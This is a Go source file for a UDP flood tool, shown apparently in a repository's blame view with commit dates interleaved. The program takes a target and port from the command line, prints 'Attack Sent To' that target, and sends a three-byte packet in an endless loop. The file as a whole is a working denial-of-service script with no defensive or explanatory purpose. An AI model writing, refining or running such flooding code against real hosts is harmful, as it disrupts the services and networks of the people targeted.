udphex/udphex.go

22 lines
320 B
Go
Raw Normal View History

2021-04-29 22:06:36 -04:00
package main
2021-01-07 12:04:40 -06:00
import (
"fmt"
"net"
"os"
)
2021-04-29 22:06:36 -04:00
func main() {
2021-01-07 12:04:40 -06:00
target := os.Args[1]
port := os.Args[2]
conn, err := net.Dial("udp", target+":"+port)
if err != nil {
print(err)
} else {
2021-06-20 16:37:49 -04:00
fmt.Println("Attack Sent To " + target + ":" + port)
2021-01-07 12:04:40 -06:00
for {
2021-04-29 23:02:00 -04:00
conn.Write([]byte("\x61\x73\x64"))
2021-01-07 12:04:40 -06:00
}
}
}